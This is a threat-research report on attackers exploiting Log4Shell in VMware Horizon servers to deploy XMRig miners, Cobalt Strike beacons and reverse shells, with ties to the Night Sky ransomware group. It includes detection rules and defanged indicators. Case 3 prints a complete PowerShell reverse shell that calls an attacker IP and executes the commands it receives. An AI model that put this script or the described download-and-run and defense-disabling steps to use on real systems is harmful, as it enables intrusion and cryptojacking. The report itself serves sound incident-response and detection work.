Threats Looming Over the Horizon

Prologue

Log4j is an open-source logging framework distributed by Apache group that is widely used by well-known public services and roughly one-third of the world’s web servers.

On December 9, 2021, an RCE (Remote Code Execution) vulnerability was disclosed within the log4j package (CVE-2021-44228, CVE-2021-45046) which allows an attacker to execute arbitrary code on machines that utilize the logging functionality of the log4j package giving the vulnerability its common name: Log4Shell.

For additional information and details please visit our Log4Shell Explained webpage.

Attack scenario example:
Log4Shell JNDI attack – An attacker can craft the following HTTP header and send it to the target application:

By using the technique above to exploit the vulnerability, a simple Python script can be used to trigger an RCE on a vulnerable server:

Another example of the Log4Shell JNDI attack is demonstrated by the Swiss Government CERT:

Following the Log4Shell exploits, VMware reported that several of its products were vulnerable. You can find the full list here.
One of the reported products is VMware Horizon, which is being used for digital workspaces that offer virtual desktops and apps across the cloud. You can find a VMware disclosure report here.

Timeline of Log4Shell and VMware Horizon exploitation:

• December 9th, 2021 – Log4j vulnerabilities were discovered and classified with the CVSS score of 10 (Critical).
• December 10th, 2021 – VMware reported on Apache Log4j Remote Code Execution Vulnerabilities on several products.
• Starting January 1st, 2022 – The Cyber Security community began reporting on threat actors who are actively trying to exploit VMware Horizon while abusing the log4j vulnerability. In these exploitation attempts, threat actors were using the log4j vulnerability found in the Apache Tomcat service embedded in VMware Horizon.

VMware has published recommendations & mitigation steps for the vulnerability, including patches:

https://kb.VMware.com/s/article/87073

Case Overview

At the beginning of January 2022, Cynet’s Orion threat research and intelligence team observed threat actors abusing the Apache Tomcat service and utilizing the Log4Shell vulnerability to exploit VMware Horizon servers to gain initial access to the environment.

The threat actors deployed additional payloads and established communication to C2 servers, Cobalt Strike beacons, Cryptominers, etc. 

Based on the IOCs (indicators of compromise) and the TTPs (tactics, techniques, and procedures) observed, we believe that Chinese-based ransomware operators dubbed Night Sky (and tracked by Microsoft as DEV-0401) is behind on some of the attacks.
On January 11th, Bleeping computer reported “Night Sky ransomware uses Log4j bug to hack VMware Horizon servers“.

In addition to the Chinese-based ransomware operators, we observed unknown threat actors using Cobalt Strike on vulnerable VMware Horizon servers.
These unknown threat actors abused PowerShell to load and inject a fileless beacon into the memory.

We have also responded to an incident where threat actors attempted to establish a reverse shell session through a PowerShell command.

According to our observations, in all these cases the process ws_tomcatservice.exe was involved.

• Path: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
• Command-line: ws_TomcatService.exe” -SCMStartup TomcatService 

From our IR case, here are some examples of ws_tomcatservice.exe executing PowerShell encoded commands:

Following this information and the execution commands via the ws_tomcatservice.exe process, the threat actors automatically gained system privileges (nt authority – system).

Detection logic suggestions

The first detection suggestion is based on the above information:

MITRE reference: TA0001 (Initial Access), T1190 (Exploit Public-Facing Application) 

• Parent process name: ws_tomcatservice.exe
• Parent process path: %ProgramFiles%\VMware\VMware View\Server\*
• Child process: CMD or PowerShell
  • In addition, we recommend monitoring all known LOLBins (Living Off the Land Binaries) that allow download or execution methods.

Note that the community shared a Sigma rule which covers a similar logic:
https://github.com/SigmaHQ/sigma/blob/70deac624004fd9d3c0326cd897042b5f5bc574b/rules/windows/process_creation/win_webshell_spawn.yml#L20

We observed threat actors that carried out research on the “VMware View” installation and noticed that one of the binaries being installed as part of “VMware View” is node.exe.
This binary allows threat actors to use it as a LOLBin for the execution flow.

• Path: C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe

The node.exe process executed cmd.exe as part of the exploitation: 

The full kill-chain flow from our logs:

Grandparent process: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe

Parent process: c:\program files\VMware\VMware view\server\appblastgateway\node.exe

Process: c:\windows\system32\cmd.exe

Based on this information, we have created another detection logic suggestion:

MITRE reference: TA0001 (Initial Access), T1190 (Exploit Public-Facing Application) 

• Grandparent process: ws_tomcatservice.exe
• Grandparent process path: %ProgramFiles%\VMware\VMware View\Server\*
• Parent process: node.exe
• Parent process path: %ProgramFiles%\VMware\VMware View\Server\*
• Parent process command-line contains: -e or –eval
• Child process: CMD or PowerShell
  • In addition, we recommend monitoring all known LOLBins (Living Off the Land Binaries) that allows download or execution methods.

Below we will cover several cases of VMware Horizon exploitation attempts.

Initial Access – TA0001 (Initial Access), T1190 (Exploit Public-Facing Application)

Based on MITRE ATT&CK, the incidents started with the “Exploit Public-Facing Application” technique against the VMware Horizon servers, which is part of the “Initial Access” tactic.

In case #1 below, we cover the XMRig crypto-mining trojan. In addition, to the installation of the XMRig, we have also identified indicators that lead us to conclude that the threat actors behind the incident are related to the Night Sky ransomware group (Case 1.1).

Case 1 - XMRig

Xmrig.exe is part of XMRig open-source CPU/GPU cryptocurrency mining software. XMRig is known as an easy-to-use miner, offering user-friendly options to configure the miner according to the user’s preferences. 

This incident was detected on Windows Server 2016 Standard x64 and Windows Server 2019 Standard x64, both of which are VMware Horizon servers.

Execution flow:

A CMD instance executed via the ws_tomcatservice.exe process with a /C parameter that executes a PowerShell command encoded in Base64. The PowerShell instance is executed with the following parameters:

• -ExecutionPolicy Bypass; Ignores the execution policy restriction and runs the code without any warning.
• -NoLogo; Hides the copyright banner at startup.
• -NonInteractive; Does not present an interactive prompt.
• -NoProfile; Does not load the PowerShell profile.
• -WindowStyle Hidden; Hides the PowerShell window.
• -EncodedCommand; Executes an encoded base64 command.

The decoded command:

The above command uses System.Net.WebClient Class to access a web page, in our case the C2 server 72.46.52[.]135.
The command downloads the file “mad_micky.bat” and overwrites a file located in the %temp% directory.

We downloaded mad_micky.bat for further analysis:

mad_micky.bat – Batch file including malicious content.

First, the malicious batch file provides an indication on a PowerShell command that disables the real time monitoring in Windows.

The above command is related to the Impair Defenses technique – MITRE T1562.
Threat actors disabled Windows Defender real-time monitoring in order to prepare the compromised host for the next stage of payloads.

Then, it checks whether following path exists:

If the condition is met, the flow “exist1” is taken – It checks whether the process “xmrig.exe” is running, and if it is running, it prints “now is running”.

If the condition is not met, the flow “exist” is chosen – Using “[System.IO.Path]::GetTempFileName()”, it creates a temp file from in the AppData\Loca\Temp\ directory and assigns it to the variable $tempfile.

The temporary file is used to contain the payload which is downloaded from the following URL:

After the payload (which now resides in the temporary file) is downloaded, it gets executed and than deleted from disk.

As you can see in the image below, the downloaded payload – (batch file), contains the XMRig miner configuration:

The code above indicates the mining of the Monero cryptocurrency.

If the victim has user privileges, the miner achieves persistence by copying the miner batch file from %userprofile%\mimu\miner.bat to the startup folder.
%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
%userprofile%\Start Menu\Programs\StartUp 

The above activity is related to the MITRE sub-technique “Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder” 

If the victim has admin privileges, the miner installs a service for the miner by using PowerShell to download additional tools from hxxp://lurchmath[.]org/wordpress-temp/wp-content/plugins/nssm[.]zip
To setup the miner (mimu_miner) service, it downloads the tool to %userprofile% path as a zip file: “%userprofile%\nssm.zip”
nssm.zip  – Non-Sucking Service Manager (NSSM) is a service helper program that assists in installing an application as a service.
Then it extracts the zip file to the ““%userprofile%\mimu”,

If extracting the zip file fails, it downloads the 7zip (7za.exe) tool in order to succeed in unpacking/unziping the nssm.zip file.

It then uses the nssm-service manager tool to create the service “mimu_miner” to execute \mimu\xmrig.exe
If the creation fails, it attempts to create mimu_miner as AppDirectory service.

MITRE Sub-Technique “Create or Modify System Process: Windows Service”

In addition, the XMRig miner configuration is revealing the attacker’s dedicated Monero pool.

During the investigation, we have observed the IP address 195.201.124[.]214, which is a mining pool address for the miner configuration related to MoneroOceans mining pools. 

According to VirusTotal, the IP address is indeed related to the “MoneroOceans.stream” domain.

Reference:
https://moneroocean.stream/
https://old.moneroocean.stream/#/dashboard
https://github.com/xmrig/xmrig/

Using the pool address and the website related to it, we can get a better understanding of the attack scale:

The pool was created on January 14th, it is comprised of 773 infected machines, dedicating parts of their CPU to the threat actors pool, and it is currently running at a rate of 0.5 XMR (Aprox 30$) per day.
It is worth mentioning that threat actors usually lower their risk by setting up several pools for the same campaign.

In the next case, on the same compromised machines where the XMRig was installed,we observed the following command execution:

Case 1.1 - Cryptominer for Linux

Here, the C2 server responds with “Not Found” and the file dl.sh is not available on the C2 server.

But navigating to the IP address reveals the following MoneroOcean setup script:

https://github.com/MoneroOcean/xmrig_setup/blob/master/setup_moneroocean_miner.sh 

Based on a VirusTotal search, we see that this IP was mentioned by the community: “Seeing this hit public-facing Horizon server”.

According to the VirusTotal search, we have observed that the dl.sh file is in the relations tab:

In this case, dl.sh seems to be targeting hosts that have WSL (Windows Subsystem for Linux).
This makes monitoring and detection a bit more complex as it hides its activity behind the virtualization layer of the Linux guest.

As part of its flow, the script transfers execution to other scripts it downloads. All the scripts will perform similar actions and, after performing certain checks, they drop the XMRig cryptominers on the victim’s machine. The main activities of these scripts are:

• Removing system artifacts that are related to cryptomining activity:
  • Processes
  • Cron jobs
  • Files and directories
    

• Cleaning and removing artifacts from system logs:
  
• Dropping and executing their own XMRig cryptominers
  
  

Extracted IOCs:

As we continued monitoring the infected host, we observed that the threat actors executed other shell commands. In case 1.2, we cover the node.exe process that was abused by the threat actors as a LOLBin.

Case 1.2 – VMware node.exe abuse

The above command was executed through the ws_tomcatservice.exe process:

The JavaScript command opened a connection to ‘66.42.36[.]178’ on port 8853 and opened a reversed shell via cmd.exe.

As mentioned above, we researched the “VMware View” environment and noticed that one of the binaries being installed as part of “VMware View” is node.exe which can be abused in order to execute JavaScript commands.

We are still investigating this case and will publish more details and IOCs when our investigation is completed.

In case 1.3, we spotted another Cryptominer deployment attempt:

Case 1.3 – XMS XMRig

The following command was executed on the infected host:

xms.ps1 content:

The main functionality of the script:

• Downloads files and saves them as $env:Appdata\network02.exe and $env:TMP\network02.exe (MITRE: Ingress Tool Transfer T1105).
• Disable all firewall profiles via netsh (MITRE: Impair Defenses: Disable or Modify System Firewall T1562.004).
• Network discovery via netstat (MITRE: System Network Connections Discovery T1049).
• Creation of a scheduled task via schtasks command (MITRE: Scheduled Task/Job: Scheduled Task T1053.005).
• Achieves persistence by creating a Run key in the Registry via reg command (MITRE: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001)

The downloaded payload is XMRig miner:

• SHA256: 0663d70411a20340f184ae3b47138b33ac398c800920e4d976ae609b60522b01
• SSDeep: 98304:Hf8WSHqjQrScap+JvvW8vCeNDzml+UxHVP9kfYs:kprvvdvCeNe+Ux1qfYs

After covering the TTPs the threat actors utilized to deploy the XMRig miner, they executed another interesting command which leads us to case 1.4:

Case 1.4 - Night Sky ransomware group operation

According to this report by Microsoft, the attackers are using C2 servers that spoof a legitimate domain,  api[.]rogerscorp[.]org, using the following command:

The above PowerShell command executed curl command to send the victim’s external IP address via a POST request to the http://api.rogerscorp[.]org domain over port 80.

Microsoft Security Intelligence’s tweet:

VirusTotal community comments:

Night Sky was first observed at the end of 2021 while being distributed by a Chinese-based ransomware operator. The threat actors exploit Log4j CVE-2021-44228 and CVE-2021-45046 on VMware Horizon machines.

The Night Sky ransomware was first spotted by MalwareHunterTeam on Jan 1th.

The Night Sky ransomware group threatens its victims with the double extortion model. It allows the threat actors to get hold of the victim’s assets and demand ransom for their decryption, while also exfiltrating data and threatening the victim that the data will be forever gone, sold or published to the public if he fails to meet their ransom demands.

Part of the note (double extortion):

“we will decrypt the data and destroy the stolen data without leaking the data.”

Night Sky leak site:

• The ransomware encryption method: AES-128 algorithm
• The ransomware extension: .Night Sky
• The ransomware note: Night SkyReadMe.hta
• The ransomware does not encrypt: .dll, .exe

Discovery 

When examining the discovery command on the compromised machines, we noticed that the following commands were being executed via Windows legitimate binaries:

The above discovery commands are executed via the node.exe process using the following execution:

Next, we cover an Incident response case where Cobalt Strike was executed following a Log4shell exploitation.

Case 2 - Cobalt Strike

In this case, we detected the following execution flow:

The decoded PowerShell base64 command:

The command above is a simple fileless PowerShell execution that utilizes the IEX cmdlet in order to execute the malicious content that is retrieved from ‘hxxp://185[.]112[.]83[.]116:8080/drv’ by the DownloadString method. 

The malicious URL leads to an obfuscated PowerShell script that contains a lot of “junk” strings:

After decoding the PowerShell code, we found a Base64 encoded code. This chunk of code is part of a Cobalt Strike shellcode:

The Base64 block encrypted with bxor (XOR) with a key of 35 (Decimal).

We extracted the Cobalt Strike shellcode by using the following CyberChef recipe:

https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true)XOR(%7B’option’:’Decimal’,’string’:’35’%7D,’Standard’,false):

Processes that could be potentially involved in a CS injection: 

The common pattern for these processes is that when Cobalt Strike injects the code, these processes are executed without any command-line parameters. This is very suspicious. For example, regsvr32 or werfault that are being executed without any command line parameters is considered an anomaly as this behavior won’t be observed as part of a normal operating system activity. Additionally, in most cases, the injecting process also contains a new memory page with RWX permissions and the content of this page is a PE code. Note that the threat actors could also use only RX memory permissions.

stage.userwx – “This setting is a Boolean and informs the default loader to either use RWX or RX memory.
At runtime Beacon will either include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader needs to set the protection on the .text section as RWX otherwise Beacon will crash. If the setting is set to FALSE, your user defined loader should set the protection on the .text section as RX as the .text section will not be masked.”

The next case will cover another IR incident where the threat actors executed a reverse shell via PowerShell script that is inspired by the Metasploit framework.

Case 3 – Metasploit PS Reverse Shell

We will cover the PowerShell reverse shell script and explain each line in the code in order to best understand of the functionality the script and how it works.

The execution flow:

The following PS script is the decoded Base64 command:

$client = New-Object System.Net.Sockets.TCPClient(“142.44.251[.]77”,4445);     

$stream = $client.GetStream();

[byte[]] $bytes = 0..65535 | %{0};

while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { ;

$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

          $sendback = (iex $data 2>&1 | Out-String );

          $sendback2 = $sendback + “PS ” + (pwd).Path + “> “; 

          $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

      $stream.Write($sendbyte,0,$sendbyte.Length)

$stream.Flush()

};

$client.Close()

Inspired by a PowerShell implementation of a reverse shell from the Metasploit framework (https://github.com/rapid7/metasploit-framework/blob/389fd55952a18dcddc072c9f5fde0c474da3401d/data/exploits/powershell/powerfun.ps1) 

Comment that implies the IP is related to an exploitation in-the-wild of the Log4J vulnerability.

At the time of writing, the server is refusing connections:

Assumption: The server is missing some information about the host (Which should be collected prior to the reverse shell session), and thus it won’t accept the connection.

We detected another similar attempt of reverse shell execution via a similar PowerShell script and in this case, we were able to receive a connection to the C2 server:

Case 3.1 - Metasploit PS Reverse Shell potentially related to Memento ransomware

In the screenshot below, we can see the PS script and the $data variable input that was received from the C2 server; cmd.exe /k whoami command:

The $sendback2 variable contains the cmd.exe /k whoami output which should be sent to the C2 server.

The above IP “190.144.115[.]54” has a bad reputation in VT and the community links this IP to the Memento ransomware:

Indicator of Compromise

XMRig C2 server:
72.46.52[.]135
hxxp://72.46.52[.]135/mad_micky[.]bat
hxxp://72.46.52[.]135/mad[.]bat
141.85.161[.]18
hxxp://141.85.161[.]18/kill[.]bat
hxxp://141.85.161[.]18/mad_micky[.]bat
80.71.158[.]96
hxxp://80.71.158[.]96/xms[.]ps1
72.46.52[.]135
72.46.52[.]135/dl[.]sh
195.154.187[.]240
hxxp://195.154.187.240/2[.]ps1
51.222.121[.]180
hxxp://51.222.121[.]180:82/kill[.]bat

Unknown C2:
IP: 66.42.36[.]178 Port: 8853
IP: 142.44.251[.]77 Port: 4445
IP: 190.144.115[.]54 Port: 4545

Potenteltliy realted to Night Sky ransomware:
api[.]rogerscorp[.]org
hxxp://api[.]rogerscorp[.]org:80

Cobalt Strike C2:
185.112.83[.]116
hxxp://185.112.83[.]116:8080/drv